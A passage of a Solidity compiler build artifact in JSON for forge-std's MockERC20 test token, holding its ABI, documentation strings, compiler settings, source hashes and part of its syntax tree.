(`to`).\"}},\"kind\":\"dev\",\"methods\":{\"approve(address,uint256)\":{\"details\":\"Be aware of front-running risks: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\"},\"initialize(string,string,uint8)\":{\"details\":\"To hide constructor warnings across solc versions due to different constructor visibility requirements and syntaxes, we add an initialization function that can be called only once.\"}},\"stateVariables\":{\"initialized\":{\"details\":\"A bool to track whether the contract has been initialized.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"allowance(address,address)\":{\"notice\":\"Returns the remaining number of tokens that `spender` is allowed to spend on behalf of `owner`\"},\"approve(address,uint256)\":{\"notice\":\"Sets `amount` as the allowance of `spender` over the caller's tokens.\"},\"decimals()\":{\"notice\":\"Returns the decimals places of the token.\"},\"name()\":{\"notice\":\"Returns the name of the token.\"},\"symbol()\":{\"notice\":\"Returns the symbol of the token.\"},\"totalSupply()\":{\"notice\":\"Returns the amount of tokens in existence.\"},\"transfer(address,uint256)\":{\"notice\":\"Moves `amount` tokens from the caller's account to `to`.\"},\"transferFrom(address,address,uint256)\":{\"notice\":\"Moves `amount` tokens from `from` to `to` using the allowance mechanism. `amount` is then deducted from the caller's allowance.\"}},\"notice\":\"This is a mock contract of the ERC20 standard for testing purposes only, it SHOULD NOT be used in production.\",\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/forge-std/src/mocks/MockERC20.sol\":\"MockERC20\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"owner","type":"address","indexed":true},{"internalType":"address","name":"spender","type":"address","indexed":true},{"internalType":"uint256","name":"value","type":"uint256","indexed":false}],"type":"event","name":"Approval","anonymous":false},{"inputs":[{"internalType":"address","name":"from","type":"address","indexed":true},{"internalType":"address","name":"to","type":"address","indexed":true},{"internalType":"uint256","name":"value","type":"uint256","indexed":false}],"type":"event","name":"Transfer","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"stateMutability":"view","type":"function","name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"view","type":"function","name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}]},{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"}],"stateMutability":"nonpayable","type":"function","name":"initialize"},{"inputs":[],"stateMutability":"view","type":"function","name":"name","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function","name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"stateMutability":"nonpayable","type":"function","name":"permit"},{"inputs":[],"stateMutability":"view","type":"function","name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"approve(address,uint256)":{"details":"Be aware of front-running risks: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729"},"initialize(string,string,uint8)":{"details":"To hide constructor warnings across solc versions due to different constructor visibility requirements and syntaxes, we add an initialization function that can be called only once."}},"version":1},"userdoc":{"kind":"user","methods":{"allowance(address,address)":{"notice":"Returns the remaining number of tokens that `spender` is allowed to spend on behalf of `owner`"},"approve(address,uint256)":{"notice":"Sets `amount` as the allowance of `spender` over the caller's tokens."},"decimals()":{"notice":"Returns the decimals places of the token."},"name()":{"notice":"Returns the name of the token."},"symbol()":{"notice":"Returns the symbol of the token."},"totalSupply()":{"notice":"Returns the amount of tokens in existence."},"transfer(address,uint256)":{"notice":"Moves `amount` tokens from the caller's account to `to`."},"transferFrom(address,address,uint256)":{"notice":"Moves `amount` tokens from `from` to `to` using the allowance mechanism. `amount` is then deducted from the caller's allowance."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/forge-std/src/mocks/MockERC20.sol":"MockERC20"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/forge-std/src/mocks/MockERC20.sol","id":32894,"exportedSymbols":{"IERC20":[31969],"MockERC20":[32893]},"nodeType":"SourceUnit","src":"32:8288:20","nodes":[{"id":32318,"nodeType":"PragmaDirective","src":"32:31:20","nodes":[],"literals":["solidity",">=","0.6",".2","<","0.9",".0"]},{"id":32320,"nodeType":"ImportDirective","src":"65:48:20","nodes":[],"absolutePath":"lib/forge-std/src/interfaces/IERC20.sol","file":"../interfaces/IERC20.sol","nameLocation":"-1:-1:-1","scope":32894,"sourceUnit":31970,"symbolAliases":[{"foreign":{"id":32319,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31969,"src":"73:6:20","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":32893,"nodeType":"ContractDefinition","src":"369:7950:20","nodes":[{"id":32325,"nodeType":"VariableDeclaration","src":"588:21:20","nodes":[],"constant":false,"mutability":"mutable","name":"_name","nameLocation":"604:5:20","scope":32893,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string"},"typeName":{"id":32324,"name":"string","nodeType":"ElementaryTypeName","src":"588:6:20","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"id":32327,"nodeType":"VariableDeclaration","src":"616:23:20","nodes":[],"constant":false,"mutability":"mutable","name":"_symbol","nameLocation":"632:7:20","scope":32893,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string"},"typeName":{"id":32326,"name":"string","nodeType":"ElementaryTypeName","src":"616:6:20","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"id":32329,"nodeType":"VariableDeclaration","src":"646:24:20","nodes":[],"constant":false,"mutability":"mutable","name":"_decimals","nameLocation":"661:9:20","scope":32893,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"},"typeName":{"id":32328,"name":"uint8","nodeType":"ElementaryTypeName","src":"646:5:20","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"visibility":"internal"},{"id":32338,"nodeType":"FunctionDefinition","src":"677:92:20","nodes":[],"body":{"id":32337,"nodeType":"Block","src":"740:29:20","nodes":[],"statements":[{"expression":{"id":32335,"name":"_name","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32325,"src":"757:5:20","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"functionReturnParameters":32334,"id":32336,"nodeType":"Return","src":"750:12:20"}]},"baseFunctions":[31956],"functionSelector":"06fdde03","implemented":true,"kind":"function","modifiers":[],"name":"name","nameLocation":"686:4:20","overrides":{"id":32331,"nodeType":"OverrideSpecifier","overrides":[],"src":"707:8:20"},"parameters":{"id":32330,"nodeType":"ParameterList","parameters":[],"src":"690:2:20"},"returnParameters":{"id":32334,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32333,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32338,"src":"725:13:20","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":32332,"name":"string","nodeType":"ElementaryTypeName","src":"725:6:20","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"724:15:20"},"scope":32893,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32347,"nodeType":"FunctionDefinition","src":"775:96:20","nodes":[],"body":{"id":32346,"nodeType":"Block","src":"840:31:20","nodes":[],"statements":[{"expression":{"id":32344,"name":"_symbol","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32327,"src":"857:7:20","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"functionReturnParameters":32343,"id":32345,"nodeType":"Return","src":"850:14:20"}]},"baseFunctions":[31962],"functionSelector":"95d89b41","implemented":true,"kind":"function","modifiers":[],"name":"symbol","nameLocation":"784:6:20","overrides":{"id":32340,"nodeType":"OverrideSpecifier","overrides":[],"src":"807:8:20"},"parameters":{"id":32339,"nodeType":"ParameterList","parameters":[],"src":"790:2:20"},"returnParameters":{"id":32343,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32342,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32347,"src":"825:13:20","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":32341,"name":"string","nodeType":"ElementaryTypeName","src":"825:6:20","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"824:15:20"},"scope":32893,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32356,"nodeType":"FunctionDefinition","src":"877:92:20","nodes":[],"body":{"id":32355,"nodeType":"Block","src":"936:33:20","nodes":[],"statements":[{"expression":{"id":32353,"name":"_decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32329,"src":"953:9:20","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"functionReturnParameters":32352,"id":32354,"nodeType":"Return","src":"946:16:20"}]},"baseFunctions":[31968],"functionSelector":"313ce567","implemented":true,"kind":"function","modifiers":[],"name":"decimals","nameLocation":"886:8:20","overrides":{"id":32349,"nodeType":"OverrideSpecifier","overrides":[],"src":"911:8:20"},"parameters":{"id":32348,"nodeType":"ParameterList","parameters":[],"src":"894:2:20"},"returnParameters":{"id":32352,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32351,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32356,"src":"929:5:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"},"typeName":{"id":32350,"name":"uint8","nodeType":"ElementaryTypeName","src":"929:5:20","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"visibility":"internal"}],"src":"928:7:20"},"scope":32893,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32358,"nodeType":"VariableDeclaration","src":"1158:29:20","nodes":[],"constant":false,"mutability":"mutable","name":"_totalSupply","nameLocation":"1175:12:20","scope":32893,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32357,"name":"uint256","nodeType":"ElementaryTypeName","src":"1158:7:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"id":32362,"nodeType":"VariableDeclaration","src":"1194:47:20","nodes":[],"constant":false,"mutability":"mutable","name":"_balanceOf","nameLocation":"1231:10:20","scope":32893,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":32361,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":32359,"name":"address","nodeType":"ElementaryTypeName","src":"1202:7:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1194:27:20","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":32360,"name":"uint256","nodeType":"ElementaryTypeName","src":"1213:7:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"visibility":"internal"},{"id":32368,"nodeType":"VariableDeclaration","src":"1248:67:20","nodes":[],"constant":false,"mutability":"mutable","name":"_allowance","nameLocation":"1305:10:20","scope":32893,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"},"typeName":{"id":32367,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":32363,"name":"address","nodeType":"ElementaryTypeName","src":"1256:7:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1248:47:20","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":32366,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":32364,"name":"address","nodeType":"ElementaryTypeName","src":"1275:7:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1267:27:20","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":32365,"name":"uint256","nodeType":"ElementaryTypeName","src":"1286:7:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}}},"visibility":"internal"},{"id":32377,"nodeType":"FunctionDefinition","src":"1322:100:20","nodes":[],"body":{"id":32376,"nodeType":"Block","src":"1386:36:20","nodes":[],"statements":[{"expression":{"id":32374,"name":"_totalSupply","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32358,"src":"1403:12:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":32373,"id":32375,"nodeType":"Return","src":"1396:19:20"}]},"baseFunctions":[31900],"functionSelector":"18160ddd","implemented":true,"kind":"function","modifiers":[],"name":"totalSupply","nameLocation":"1331:11:20","overrides":{"id":32370,"nodeType":"OverrideSpecifier","overrides":[],"src":"1359:8:20"},"parameters":{"id":32369,"nodeType":"ParameterList","parameters":[],"src":"1342:2:20"},"returnParameters":{"id":32373,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32372,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32377,"src":"1377:7:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32371,"name":"uint256","nodeType":"ElementaryTypeName","src":"1377:7:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1376:9:20"},"scope":32893,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32390,"nodeType":"FunctionDefinition","src":"1428:116:20","nodes":[],"body":{"id":32389,"nodeType":"Block","src":"1503:41:20","nodes":[],"statements":[{"expression":{"baseExpression":{"id":32385,"name":"_balanceOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32362,"src":"1520:10:20","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":32387,"indexExpression":{"id":32386,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32379,"src":"1531:5:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1520:17:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":32384,"id":32388,"nodeType":"Return","src":"1513:24:20"}]},"baseFunctions":[31908],"functionSelector":"70a08231","implemented":true,"kind":"function","modifiers":[],"name":"balanceOf","nameLocation":"1437:9:20","overrides":{"id":32381,"nodeType":"OverrideSpecifier","overrides":[],"src":"1476:8:20"},"parameters":{"id":32380,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32379,"mutability":"mutable","name":"owner","nameLocation":"1455:5:20","nodeType":"VariableDeclaration","scope":32390,"src":"1447:13:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32378,"name":"address","nodeType":"ElementaryTypeName","src":"1447:7:20","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1446:15:20"},"returnParameters":{"id":32384,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32383,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32390,"src":"1494:7:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32382,"name":"uint256","nodeType":"ElementaryTypeName","src":"1494:7:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1493:9:20"},"scope":32893,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32407,"nodeType":"FunctionDefinition","src":"1550:142:20","nodes":[],"body":{"id":32406,"nodeType":"Block","src":"1642:50:20","nodes":[],"statements":[{"expression":{"baseExpression":{"baseExpression":{"id":32400,"name":"_allowance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32368,"src":"1659:10:20","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"}},"id":32402,"indexExpression":{"id":32401,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32392,"src":"1670:5:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1659:17:20","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":32404,"indexExpression":{"id":32403,"name":"spender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32394,"src":"1677:7:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1659:26:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":32399,"id":32405,"nodeType":"Return","src":"1652:33:20"}]},"baseFunctions":[31928],"functionSelector":"dd62ed3e","implemented":true,"kind":"function","modifiers":[],"name":"allowance","nameLocation":"1559:9:20","overrides":{"id":32396,"nodeType":"OverrideSpecifier","overrides":[],"src":"1615:8:20"},"parameters":{"id":32395,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32392,"mutability":"mutable","name":"owner","nameLocation":"1577:5:20","nodeType":"VariableDeclaration","scope":32407,"src":"1569:13:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32391,"name":"address","nodeType":"ElementaryTypeName","src":"1569:7:20","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32394,"mutability":"mutable","name":"spender","nameLocation":"1592:7:20","nodeType":"VariableDeclaration","scope":32407,"src":"1584:15:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32393,"name":"address","nodeType":"ElementaryTypeName","src":"1584:7:20","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1568:32:20"},"returnParameters":{"id":32399,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32398,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32407,"src":"1633:7:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32397,"name":"uint256","nodeType":"ElementaryTypeName","src":"1633:7:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1632:9:20"},"scope":32893,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32409,"nodeType":"VariableDeclaration","src":"1882:33:20","nodes":[],"constant":false,"mutability":"mutable","name":"INITIAL_CHAIN_ID","nameLocation":"1899:16:20","scope":32893,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32408,"name":"uint256","nodeType":"ElementaryTypeName","src":"1882:7:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"id":32411,"nodeType":"VariableDeclaration","src":"1922:41:20","nodes":[],"constant":false,"mutability":"mutable","name":"INITIAL_DOMAIN_SEPARATOR","nameLocation":"1939:24:20","scope":32893,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":32410,"name":"bytes32","nodeType":"ElementaryTypeName","src":"1922:7:20","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"id":32415,"nodeType":"VariableDeclaration","src":"1970:41:20","nodes":[],"constant":false,"functionSelector":"7ecebe00","mutability":"mutable","name":"nonces","nameLocation":"2005:6:20","scope":32893,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":32414,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":32412,"name":"address","nodeType":"ElementaryTypeName","src":"1978:7:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1970:27:20","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":32413,"name":"uint256","nodeType":"ElementaryTypeName","src":"1989:7:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"visibility":"public"},{"id":32418,"nodeType":"VariableDeclaration","src":"2271:24:20","nodes":[],"constant":false,"documentation":{"id":32416,"nodeType":"StructuredDocumentation","src":"2199:67:20","text":"@dev A bool to track whether the contract has been initialized."},"mutability":"mutable","name":"initialized","nameLocation":"2284:11:20","scope":32893,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":32417,"name":"bool","nodeType":"ElementaryTypeName","src":"2271:4:20","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"private"},{"id":32461,"nodeType":"FunctionDefinition","src":"2504:365:20","nodes":[],"body":{"id":32460,"nodeType":"Block","src":"2592:277:20","nodes":[],"statements":[{"expression":{"arguments":[{"id":32430,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"2610:12:20","subExpression":{"id":32429,"name":"initialized","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32418,"src":"2611:11:20","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"414c52454144595f494e495449414c495a4544","id":32431,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2624:21:20","typeDescriptions":{"typeIdentifier":"t_stringliteral_241395e6b20092ec3fd5dfc22ea70fc2615c08854b7fd10fb3028d965cf738f3","typeString":"literal_string \"ALREADY_INITIALIZED\""},"value":"ALREADY_INITIALIZED"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_241395e6b20092ec3fd5dfc22ea70fc2615c08854b7fd10fb3028d965cf738f3","typeString":"literal_string \"ALREADY_INITIALIZED\""}],"id":32428,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2602:7:20","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":32432,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2602:44:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":32433,"nodeType":"ExpressionStatement","src":"2602:44:20"},{"expression":{"id":32436,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":32434,"name":"_name","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32325,"src":"2657:5:20","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":32435,"name":"name_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32421,"src":"2665:5:20","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"src":"2657:13:20","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage 